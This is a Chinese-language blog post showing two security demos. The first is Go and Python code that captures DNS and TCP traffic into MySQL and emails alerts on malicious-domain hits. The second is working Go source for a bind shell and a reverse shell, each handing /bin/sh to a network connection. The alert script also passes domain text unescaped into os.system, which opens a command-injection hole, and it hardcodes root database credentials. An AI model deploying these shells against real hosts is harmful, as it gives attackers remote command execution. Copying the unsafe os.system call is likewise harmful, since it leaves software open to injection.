安全开发自动告警与反向 shell

自动告警系统

2023-05-31写的一个 demo,本 demo 实现了对主机网络流量(DNS查询、TCP连接)的自动化捕获、存储以及威胁检测与告警。系统主要分为流量采集存储、威胁检测与自动通报三个部分

抓包存 MySQL 中

通过 Go 语言实现,对网络接口进行实时的 DNS 数据包采集,并将解析信息存入 MySQL 数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
package main


import (
"fmt"
"log"
"net"
"strings"


"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
"github.com/jinzhu/gorm"
_ "github.com/jinzhu/gorm/dialects/mysql"
)


type DNSPacket struct {
ID uint16 `gorm:"primary_key"`
Queries string
Answers string
}


func main() {
// Open the device for capturing
handle, err := pcap.OpenLive("en0", 65535, true, pcap.BlockForever)
if err != nil {
log.Fatal(err)
}
defer handle.Close()


// Set a filter to capture only DNS packets
filter := "udp and port 53"
err = handle.SetBPFFilter(filter)
if err != nil {
log.Fatal(err)
}


// Open a connection to the MySQL database
db, err := gorm.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/database?charset=utf8&parseTime=True&loc=Local")
if err != nil {
log.Fatal(err)
}
defer db.Close()


// Create the DNSPacket table if it doesn't exist
db.AutoMigrate(&DNSPacket{})


// Start capturing packets
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// Parse the DNS packet
dnsLayer := packet.Layer(layers.LayerTypeDNS)
if dnsLayer != nil {
dnsPacket := dnsLayer.(*layers.DNS)
if dnsPacket.QR == false && dnsPacket.OpCode == layers.DNSOpCodeQuery {
// Extract the queries from the DNS packet
queries := make([]string, len(dnsPacket.Questions))


for i, question := range dnsPacket.Questions {
queries[i] = string(question.Name)
fmt.Println((question))
}


// Check if the DNSPacket already exists in the database
var count int
db.Model(&DNSPacket{}).Where("id = ?", dnsPacket.ID).Count(&count)
if count == 0 {
// Recursively resolve the DNS queries
answers := make([]string, 0)
for _, query := range queries {
// fmt.Println(query)
ips, err := resolveDNS(query)
if err == nil {
answers = append(answers, ips...)
}
}


// Create a new DNSPacket object and save it to the database
dnsPacket := DNSPacket{
ID: dnsPacket.ID,
Queries: strings.Join(queries, ","),
Answers: strings.Join(answers, ","),
}
db.Create(&dnsPacket)
}
}
}
}
}


func resolveDNS(query string) ([]string, error) {
// Resolve the DNS query using the system resolver
ips := make([]string, 0)
addrs, err := net.LookupHost(query)
if err != nil {
return ips, err
}
for _, addr := range addrs {
ips = append(ips, addr)
}
return ips, nil
}

过滤器选择udp并且53端口的,然后都存到数据库中。之后通过 Python 脚本,定期比对数据库中的 DNS 查询记录与已收集的恶意域名库,如发现命中即自动邮件通知安全负责人。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/env python3

import mysql.connector
# import smtplib
import os
# 恶意域名库文件路径
MALWARE_DOMAINS_FILE = "domains.list"

# MySQL数据库连接信息
MYSQL_HOST = "localhost"
MYSQL_PORT = 3306
MYSQL_USER = "root"
MYSQL_PASSWORD = "123456"
MYSQL_DATABASE = "database"

cnx = mysql.connector.connect(user=MYSQL_USER, password=MYSQL_PASSWORD,
host=MYSQL_HOST, port=MYSQL_PORT,
database=MYSQL_DATABASE)
cursor = cnx.cursor()

# 检查恶意域名库中的域名是否存在于数据库中
with open(MALWARE_DOMAINS_FILE) as f:
for domain in f:
domain = domain.strip()
query = "SELECT COUNT(*) FROM dns_packets WHERE queries = %s"

cursor.execute(query, (domain,))
result = cursor.fetchone()[0]
print(result)
if result >= 1:
# 触发告警
subject = "Malware Alert"
body = f"Alert: {domain} found in malware domain list"
print('echo '+body+'| mail -s "恶意域名!" *****@qq.com')#发送邮件
os.system('echo '+body+'| mail -s "bad query!" ******@qq.com')#直接用系统命令会简单很多

cursor.close()
cnx.close()

然后如果是开了微信的qq邮箱提醒的话,直接就可以看到。同理,可对主机 TCP 流量(如 HTTP/HTTPS 连接)进行抓取和异常检测。

恶意ip的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package main


import (
"database/sql"
"log"


_ "github.com/go-sql-driver/mysql"
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"github.com/google/gopacket/pcap"
)


func main() {
// 打开数据库连接
db, err := sql.Open("mysql", "root:123456@tcp(127.0.0.1:3306)/database")
if err != nil {
log.Fatal(err)
}
defer db.Close()


// 创建TCP数据包表
_, err = db.Exec("CREATE TABLE IF NOT EXISTS tcp_packets (id INT AUTO_INCREMENT PRIMARY KEY, src_ip VARCHAR(15), dst_ip VARCHAR(15), src_port INT, dst_port INT)")
if err != nil {
log.Fatal(err)
}


// 打开网络接口
handle, err := pcap.OpenLive("en0", 65535, true, pcap.BlockForever)
if err != nil {
log.Fatal(err)
}
defer handle.Close()


// 设置过滤器,只捕获TCP流量
filter := "tcp"
err = handle.SetBPFFilter(filter)
if err != nil {
log.Fatal(err)
}


// 循环读取TCP数据包
packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range packetSource.Packets() {
// 解析TCP数据包
tcpLayer := packet.Layer(layers.LayerTypeTCP)
if tcpLayer != nil {
tcp, _ := tcpLayer.(*layers.TCP)
srcIP := packet.NetworkLayer().NetworkFlow().Src().String()
dstIP := packet.NetworkLayer().NetworkFlow().Dst().String()
srcPort := tcp.SrcPort
dstPort := tcp.DstPort


// 将五元组信息存储到数据库中
_, err = db.Exec("INSERT INTO tcp_packets (src_ip, dst_ip, src_port, dst_port) VALUES (?, ?, ?, ?)", srcIP, dstIP, srcPort, dstPort)
if err != nil {
log.Println(err)
}
}
}
}

自动告警与之类似,不做赘述

demo 地址

https://github.com/pic4xiu/SomethingToPlay/tree/main/alertsys

一个反向 shell 工具

2023-05-02 写的一个一个反向 shell 的 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package main
import (
"net"
"os"
"os/exec"
"log"
)

func main() {
var addr string
addr = os.Args[1]
listener, err := net.Listen("tcp", addr)//监听端口
if err != nil {
log.Fatal("Error connecting. ", err)
}
for {
conn, err := listener.Accept()//接受连接
if err != nil {
log.Println("accepting connection err: ", err)
}
go handleConnection(conn)
}

}

func handleConnection(conn net.Conn) {
var shell = "/bin/sh"
_, _ = conn.Write([]byte("bind shell demo\n"))
command := exec.Command(shell)
command.Env = os.Environ()
command.Stdin = conn
command.Stdout = conn
command.Stderr = conn
_ = command.Run()
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package main
import (
"log"
"net"
"os"
"os/exec"
)

var (
shell = "/bin/sh"
remoteIp string
)

func main() {
remoteIp = os.Args[1]
remoteConn, err := net.Dial("tcp", remoteIp)//远程过去
if err != nil {
log.Fatal("connecting err: ", err)
}
_, _ = remoteConn.Write([]byte("reverse_shell demo"))
command := exec.Command(shell)
command.Env = os.Environ()
command.Stdin = remoteConn//置为远程
command.Stdout = remoteConn
command.Stderr = remoteConn
_ = command.Run()
}

上边的是本地,底下是反向,主要是

  • ip
  • std 环境